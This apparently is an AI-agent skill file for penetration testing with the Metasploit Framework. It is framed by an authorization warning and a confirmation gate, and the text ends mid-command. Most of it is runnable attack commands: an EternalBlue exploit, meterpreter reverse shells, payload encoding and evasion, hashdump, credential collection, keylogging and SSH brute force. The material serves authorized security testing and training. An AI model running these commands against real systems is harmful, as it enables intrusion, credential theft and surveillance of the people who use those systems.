> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Metasploit Framework

Purpose

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

Prerequisites

Required Tools

# Metasploit must already be installed before using this skill.
# Kali Linux usually ships with it preinstalled.
msfconsole --version

Installation varies by operating system and package source. Follow your platform's documented package-manager or vendor installation process before using this skill. Do not rely on an unpinned remote installer script from inside this skill.

If you want database-backed features such as workspace tracking, initialize msfdb using the instructions for your local installation. This skill assumes Metasploit is already available and does not require sudo, systemctl, or other privileged host-level setup steps.

Required Knowledge

• Network and system fundamentals
• Understanding of vulnerabilities and exploits
• Basic programming concepts
• Target enumeration techniques

Required Access

• Written authorization for testing
• Network access to target systems
• Understanding of scope and rules of engagement

Before running exploit modules, ask the user to confirm the exact target host, scope, and authorization state.

Outputs and Deliverables

1. Exploitation Evidence - Screenshots and logs of successful compromises

2. Session Logs - Command history and extracted data

3. Vulnerability Mapping - Exploited vulnerabilities with CVE references

4. Post-Exploitation Artifacts - Credentials, files, and system information

All target IPs are illustrative lab addresses, not authorization. check, scanners, listeners and authentication attempts are active operations; inspect module info/options and risk before use. Credential collection, keylogging/screenshots, persistence, pivoting and destructive process operations require explicit scope beyond basic enumeration. Use synthetic lab accounts, minimize collected data, record artifacts/cleanup and verify restored state; do not indiscriminately extract credentials or persist access.

Core Workflow

Phase 1: MSFConsole Basics

Launch and navigate the Metasploit console:

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole

Phase 2: Module Types

Understand the different module categories:

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion

Phase 3: Searching for Modules

Find appropriate modules for targets:

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

Phase 4: Configuring Exploits

Set up an exploit for execution:

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run

Phase 5: Payload Types

Select appropriate payload for the situation:

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

Phase 6: Meterpreter Session

Work with Meterpreter post-exploitation:

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

Phase 7: Auxiliary Modules

Use auxiliary modules for reconnaissance:

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set
